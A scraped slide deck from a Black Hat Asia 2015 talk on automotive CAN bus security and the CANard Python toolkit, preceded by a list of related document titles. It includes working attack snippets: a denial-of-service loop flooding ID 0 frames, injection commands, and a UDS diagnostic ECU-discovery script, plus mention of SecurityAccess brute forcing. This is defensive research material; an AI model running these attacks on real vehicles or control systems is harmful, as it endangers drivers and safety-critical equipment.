Hopping On the CAN Bus



Similar documents
SocketCAN CAN Driver Interface under Linux

Adventures in Automotive Networks and Control Units

Host-based Intrusion Prevention on Windows and UNIX. Dr. Rich Murphey White Oak Labs

Adventures in Automotive Networks and Control Units. By Dr. Charlie Miller & Chris Valasek

UART-based LIN-bus Support for Linux with SocketCAN Interface

Peach Fuzzer Platform

Research on FlexRay Vehicle Network Management

Malicious Network Traffic Analysis

RID-DoS: Real-time Inter-network Defense Against Denial of Service Attacks. Kathleen M. Moriarty. MIT Lincoln Laboratory.

Local Interconnect Network Training. Local Interconnect Network Training. Overview

When Recognition Matters THE COMPARISON OF PROGRAMS FOR NETWORK MONITORING.

Network Security: Workshop

Introduction to Passive Network Traffic Monitoring

Product Information CANalyzer.J1939

Automotive Ethernet Security Testing. Alon Regev and Abhijit Lahiri

PEMS Conference. Acquiring Data from In-Vehicle Networks. Rick Walter, P.E. HEM Data Corporation

How To Monitor Attackers On A Network On A Computer Or Network On An Uniden Computer (For Free) (For A Limited Time) (Czechian) (Cybercrime) (Uk) (Cek) (Kolomot

Bluetooth in Automotive Applications Lars-Berno Fredriksson, KVASER AB

How To Hack A Car

MITM Man in the Middle

ViCSiM. CAN/LIN Simulator and Monitor

Microsoft Message Analyzer Packet Analysis at a Higher Level. Neil B Martin Test Manager WSSC- Interop and Tools Microsoft Corporation

Top 3 Issues and Questions (in Network Monitoring!) Developing a Network Monitoring Architecture! infotex. Dan Hadaway CRISC Managing Partner, infotex

ACHILLES CERTIFICATION. SIS Module SLS 1508

Securing and Accelerating Databases In Minutes using GreenSQL

Reverse engineering hardware for software reversers: studying an encrypted external HDD

How to Build an Effective Mail Server Defense

About Firewall Protection

Automotive electronics CAN and LIN buses. Copyright 2006 Matrix Multimedia Limited

How to Hack Your Mini Cooper: Reverse Engineering CAN Messages on Passenger Automobiles

GHEM Secure Access Control

Software Development for Multiple OEMs Using Tool Configured Middleware for CAN Communication

Attack Frameworks and Tools

TCP SYN Flood - Denial of Service Seung Jae Won University of Windsor wons@uwindsor.ca

CYBER ATTACKS EXPLAINED: PACKET CRAFTING

EBERSPÄCHER ELECTRONICS automotive bus systems. solutions for network analysis

Wireless Traffic Analysis. Kelcey Tietjen DF Written Report 10/03/06

ELIXIR LOAD BALANCER 2

Transformation of honeypot raw data into structured data

Black Box Analysis and Attacks of Nortel VoIP Implementations

Network Connect Performance Logs on MAC OS

Threat Advisory: Trivial File Transfer Protocol (TFTP) Reflection DDoS

Challenges and opportunities for Open Source solutions

Penetration Testing with Kali Linux

Analyzing 6LoWPAN/ZigBeeIP networks with the Perytons Protocol Analyzer May, 2012

Linux KVM Virtual Traffic Monitoring

SOLARWINDS ENGINEER S TOOLSET FAST FIXES TO NETWORK ISSUES

How To Monitor And Test An Ethernet Network On A Computer Or Network Card

Sample Report. Security Test Plan. Prepared by Security Innovation

The Hacker Strategy. Dave Aitel Security Research

Virtual KNX/EIB devices in IP networks

SyncThru TM Web Admin Service Administrator Manual

Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A monnappa22@gmail.com

netkit lab MPLS VPNs with overlapping address spaces 1.0 S.Filippi, L.Ricci, F.Antonini Version Author(s)

Critical Infrastructure Security: The Emerging Smart Grid. Cyber Security Lecture 5: Assurance, Evaluation, and Compliance Carl Hauser & Adam Hahn

IT6203 Systems & Network Administration. (Optional)

Final Year Project Report. An Embedded Automotive Monitoring Device. Automon

Distributed Denial of Service Attack Tools

Wireless Tools. Training materials for wireless trainers

How To Gather Log Files On A Pulse Secure Server On A Pc Or Ipad (For A Free Download) On A Network Or Ipa (For Free) On An Ipa Or Ipv (For An Ubuntu) On Your Pc

Software User Guide UG-461

Vehicle data acquisition using CAN By Henning Olsson, OptimumG

Network Trace Analysis

Virtualization: TCP/IP Performance Management in a Virtualized Environment Orlando Share Session 9308

SCADA Security Example

DELLORTO. Instructions Manual. Deuss Service Tool For ECS System ECU. Dell Orto Deuss Service Tool instruction manual Page 1 of 11.

A Transport Protocol for Multimedia Wireless Sensor Networks

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Distributed Real-Time Systems (TI-DRTS) Track 2. CAN-BUS Introduction. Version Ref. VECTOR application note & Motorola note

VLAN for DekTec Network Adapters

Troubleshooting Tools to Diagnose or Report a Problem February 23, 2012

Voice over IP. Demonstration 1: VoIP Protocols. Network Environment

Wireless Network Security. Pat Wilbur Wireless Networks March 30, 2007

Telecom Testing and Security Certification. A.K.MITTAL DDG (TTSC) Department of Telecommunication Ministry of Communication & IT

Vanguard Applications Ware IP and LAN Feature Protocols. Firewall

Load Balancing for Microsoft Office Communication Server 2007 Release 2

Switcher SW1 User Manual V2.2

PREVENTING ZERO-DAY ATTACKS IN MOBILE DEVICES

Operating Systems. Lecture 03. February 11, 2013

A Research Study on Packet Sniffing Tool TCPDUMP

Firewalls Overview and Best Practices. White Paper

Newsletter - September T o o l s W a t c h T e a m NJ OUCHN & MJ SOLER

Introducing the Adafruit Bluefruit LE Sniffer

Introduction to Network Security Lab 2 - NMap

Lab Exercise Objective. Requirements. Step 1: Fetch a Trace


The Trivial Cisco IP Phones Compromise

Storm Worm & Botnet Analysis

Course Duration: 80Hrs. Course Fee: INR (Certification Lab Exam Cost 2 Attempts)

INFORMATION SECURITY TRAINING CATALOG (2015)

IronPort C10 for Small and Medium Businesses

Com.X IP PBX The complete communications solution in a box

ETS4 Diagnostics. KNX Association

Transcription:

Hopping On the CAN Bus Automotive Security and the CANard Toolkit Eric Evenchick Black Hat Asia 2015

What is CAN? Controller Area Network Low cost, integrated controllers Types: High speed (differential) Low speed (single ended) Fault Tolerant CAN FD

Why do I care? Used in: Industrial Control Systems SCADA Pretty much every car Direct interface with controllers

How CAN Works Bus: collection of collected controllers Frame: a single CAN packet consisting of: Identifier - What is this message? Data Length Code - How long is the data? Data - What does it say?

How CAN Works

Easy Attacks - DoS Hardware Arbitration Lowest ID wins while (1) { } send_message_with_id_0();

How CAN Works Message Structure

How CAN Works Message Structure

Easy Attacks - Injection Trusted network All traffic is visible to all controllers Any controller can send any message

Easy Attacks - Injection

Getting on the Bus Hardware USB to CAN Software Send and Receive Messages Encode and Decode Data

CAN Hardware $$$$ - Vector, Kvaser $$$ - Peak/GridConnect, ECOMCable $$ - GoodThopter, OBDuino, CANtact $ - ELM327 knockoffs (OBD-II)

CAN Software Proprietary Tools SocketCAN & canutils Wireshark CANard

SocketCAN CAN to Unix Network Interface Included in Linux kernel ifconfig can0 up cansend can0 123#112233 candump can0 cangen can0

Wireshark Trace CAN traffic Filter, log, sort, etc

CANard A Python Toolkit for CAN Hardware Abstraction Protocol Implementation Ease of Automation Sharing of Information

Hardware Abstraction from canard import can from canard.hw import socketcan Hardware devices as classes dev.start() dev.stop() dev.send() dev.recv() # create a SocketCAN device dev = socketcan.socketcandev('can0') # start the device dev.start() # create a CAN frame frame = can.frame(id=0x100) frame.dlc = 8 frame.data = [1,2,3,4,5,6,7,8] # send the frame dev.send(frame) # receive a frame frame = dev.recv() # stop the device dev.stop()

DoS Example from canard import can from canard.hw import cantact # create and start device dev = cantact.cantactdev('/dev/cu.usbmodem14514') dev.start() # create our payload frame frame = can.frame(id=0) frame.dlc = 8 # spam! while True: dev.send(frame)

Diagnostics Protocols OBD-II Unified Diagnostic Services

OBD-II Read basic data Engine RPM Vehicle Speed Throttle Position Read Fault Codes Clear Fault Codes

Unified Diagnostic Services ISO 14229 Allows diagnostic access to controllers

Unified Diagnostic Services

Unified Diagnostic Services SecurityAccess RoutineControl ReadDataByIdentifier WriteDataByIdentifier ReadMemoryByAddress WriteMemoryByAddress

UDS With CANard import sys from canard.proto.uds import UdsInterface from canard.hw.cantact import CantactDev d = CantactDev(sys.argv[1]) d.set_bitrate(500000) d.start() p = UdsInterface(d) # DiagnosticSessionControl Discovery for i in range(0x700, 0x800): # attempt to enter diagnostic session resp = p.uds_request(i, 0x10, [0x1], timeout=0.2) if resp!= None: print("ecu response for ID 0x%X!" % i)

UDS SecurityAccess Provides access to protected services Firmware upload Modifying certain variables Fixed! 16 bits! Fixed!

Fuzzing Diagnostics Automated Controller Discovery Device Memory Mapping Memory Dump Determine Memory Permissions RoutineControl Discovery SecurityAccess Key Brute Force

ECU AutoDiscovery import sys from canard.proto.uds import UdsInterface from canard.hw.cantact import CantactDev d = CantactDev(sys.argv[1]) d.set_bitrate(500000) d.start() p = UdsInterface(d) Honda: ECU Response for ID 0x740! # DiagnosticSessionControl Discovery for i in range(0x700, 0x800): # attempt to enter diagnostic session resp = p.uds_request(i, 0x10, [0x1], timeout=0.2) if resp!= None: print("ecu response for ID 0x%X!" % i)

Conclusions CAN Bus Attacks Denial of Service Injection Diagnostics

Conclusions You will need Hardware Interface CANtact Software Tools CANard Wireshark

Thank you! Questions? http://github.com/ericevenchick/canard http://cantact.io @ericevenchick